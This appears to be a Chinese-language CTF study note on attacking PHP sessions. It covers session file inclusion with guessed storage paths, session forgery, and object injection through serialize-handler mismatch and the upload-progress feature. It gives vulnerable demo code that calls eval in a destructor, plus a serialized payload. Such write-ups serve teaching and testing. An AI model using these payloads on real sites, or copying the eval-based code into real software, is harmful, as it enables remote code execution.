PHP-Session利用总结
PHP-Session 简介
基本概念
session
一般称作会话控制,session
对象存储特定用户会话所需的属性及配置信息。
我自己的理解来说:PHP session
是一个特殊的变量,它存储着我们与服务器会话的全部信息,该信息在PHP中一般是以文件在服务器中存储,服务器会为每个访问者创建一个id
一般为PHPSESSID
,这个id在请求时存储在cookie
中,用于服务器识别用户身份。
会话流程
当你开始一个会话时,PHP
会尝试从请求中查找会话ID
(也就是cookie
中的PHPSESSID
),如果请求中不存在该ID
信息,PHP
就会创建一个新的会话,并以Set-Cookie
响应头发送给用户ID
。会话开始之后,PHP
就会将会话中的一些数据存到$_SESSION
变量中,当PHP
停止的时候,它会自动读取$_SESSION
中的内容,并将其进行序列化并发送给会话保存管理器进行保存。
可以通过调用函数session_start()
手动开始一个会话。如果配置项session.auto_start
设置为1,那么请求开始的时候,会话会自动开始。
PHP
脚本执行完毕之后,会话会自动关闭。同时,也可以通过调用函数session_write_close()
来手动关闭会话。
常见配置
在PHP
的安装目录下找到php.ini
文件,这个文件主要的作用是对PHP
进行一些配置
session.save_handler = files #session的存储方式
session.save_path = "/var/lib/php/session" #session id存放路径
session.use_cookies= 1 #使用cookies在客户端保存会话
session.use_only_cookies = 1 #去保护URL中传送session id的用户
session.name = PHPSESSID #session名称(默认PHPSESSID)
session.auto_start = 0 #不启用请求自动初始化session
session.use_trans_sid = 0 #如果客户端禁用了cookie,可以通过设置session.use_trans_sid来使标识的交互方式从cookie变为url传递
session.cookie_lifetime = 0 #cookie存活时间(0为直至浏览器重启,单位秒)
session.cookie_path = / #cookie的有效路径
session.cookie_domain = #cookie的有效域名
session.cookie_httponly = #httponly标记增加到cookie上(脚本语言无法抓取)
session.serialize_handler = php #PHP标准序列化
session.gc_maxlifetime =1440 #过期时间(默认24分钟,单位秒)
存储引擎
PHP
中的session
内容默认是以文件的方式来存储的,存储方式由配置项session.save_handler
来确定。存储文件是以sess_PHPSESSID
来命名的,文件内容就是$_SESSION
值得序列化内容。
session.serialize_handler
配置项是用来设置$_SESSION
序列化引擎得,在php>5.5.4
后默认是以php
引擎进行序列得,除了该方式,还有其他引擎,不同得引擎所序列化的内容不同,也就是存储的内容不同。
存储引擎 | 存储方式 |
---|---|
php_binary | 键名的长度对应的 ASCII 字符+键名+经过 serialize() 函数序列化处理的值 |
php | 键名+竖线+经过 serialize() 函数序列处理的值 |
php_serialize | (PHP>5.5.4) 经过 serialize() 函数序列化处理的数组 |
在使用PHP
的时候如果想要修改为其他的引擎,我们可以添加代码
ini_set('session.serialize_handler', '需要设置的引擎')
我们在存储的时候也可以使用session_start(["serialize_handler"=>"引擎"])
来以该引擎创建session
(PHP7
以后出现)
session_start(array `$options` = array()): bool
# 此参数是一个关联数组,如果提供,那么会用其中的项目覆盖 会话配置指示 中的配置项。此数组中的键无需包含 session. 前缀。
php_binary
<?php
session_start(["serialize_handler"=>"php_binary"]);
$_SESSION["seizer"]="Hello ggbond";
php
<?php
session_start(["serialize_handler"=>"php"]);
$_SESSION["seizer"]="Hello ggbond";
php_serialize
<?php
session_start(["serialize_handler"=>"php_serialize"]);
$_SESSION["seizer"]="Hello ggbond";
PHP-Session利用
文件包含
利用条件:存在文件包含,session
文件的路径已知,且文件内容可控。
session
文件的路径可从phpinfo
中的session.save_path
可知,或者猜测路径
/var/lib/php/sessions/sess_PHPSESSIONID
/var/lib/php[\d]/sessions/sess_PHPSESSIONID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID
然后通过写入内容并包含session
文件即可获得flag,session
文件名一般为sess_PHPSESSID
如果php
设置了open_basedir
,限制了我们读取文件的范围,我们就算得知了session
文件的存储路径,但是不在我们的读取范围里,这里可以考虑修改一下session
文件存储的位置。
我们可以通过session_start()
的options
参数进行覆盖php.ini
的配置session.save_path
来修改保存路径,然后再进行文件包含。当然这个操作也可以通过session_save_path()
函数完成。
用户伪造
利用条件:已知PHP
所使用的session
存储引擎,以及session
文件的内容可控。
通过已知的存储引擎,我们通过构造session
文件,并将其上传到session
文件存储的位置,即可通过该PHPSESSID
进行访问网站
反序列化
当网站序列化存储 session
与反序列化读取 session
的方式不同时,就可能导致 session
反序列化漏洞的产生。 一般都是以 php_serialize
序列化存储 session
, 以 PHP
反序列化读取 session
,造成反序列化攻击。或者是可以通过序列化某些可利用方法进行构造pop链
进行反序列化攻击。
有$_SESSION
赋值
举例:
demo1.php
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION["username"]=$_GET["u"];
demo2.php
<?php
session_start();
class session {
var $var;
function __destruct() {
eval($this->var);
}
}
demo1.php
和demo2.php
使用了不同的存储引擎,所以在进行序列化和反序列化的过程中可能会存在逃逸从而导致反序列化攻击
for example:
我们给demo1.php
传入如下的参数
|O:7:"session":1:{s:3:"var";s:10:"phpinfo();";}
php_serialize序列化后=>
a:1:{s:8:"username";s:47:"|O:7:"session":1:{s:3:"var";s:10:"phpinfo();";}";}
接下来demo2.php
使用php
存储引擎来反序列化,
a:1:{s:8:"username";s:47:"|O:7:"session":1:{s:3:"var";s:10:"phpinfo();";}";}
php反序列化后=>
['a:1:{s:8:"username";s:47:"'=>'O:7:"session":1:{s:3:"var";s:10:"phpinfo();";}']
细心的童鞋会发现,在反序列化的过程中难道不会报错吗?这里提到一个unserialize
的特性,在执行unserialize
的时候,如果字符串前面满足了可被反序列化的规则即后续的不规则字符会被忽略。
无$_SESSION
赋值
PHP
还存在一个upload_porcess
机制,可以在$_SESSION
中创建一个键值对,其中的值可控。
以 Jarvis OJ 平台的 PHPINFO 题目为例,环境地址:http://web.jarvisoj.com:32784/
<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
public $mdzz;
function __construct()
{
$this->mdzz = 'phpinfo();';
}
function __destruct()
{
eval($this->mdzz);
}
}
if(isset($_GET['phpinfo']))
{
$m = new OowoO();
}
else
{
highlight_string(file_get_contents('index.php'));
}
?>
通过查看phpinfo
,需要知道session.upload_process.enabled
配置项为On
,并且具有存储引擎差异,我们就可以利用这一特性。
查看session.upload_progress.name
字段获得变量名为PHP_SESSION_UPLOAD_PROGRESS
,我们可以在本地创建一个form.html
提交表单。
<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" />
</form>
使用 bp
抓包,在 PHP_SESSION_UPLOAD_PROGRESS
的 value
值123后面添加|
和序列化的字符串
或者可以使用postman
进行传参
文件上传
利用条件:session
文件存储路径已知且可以上传,有可利用的反序列化攻击链,最近刚刚打过的SCTF2021
中upload_it
就是该题型
传送门:SCTF2021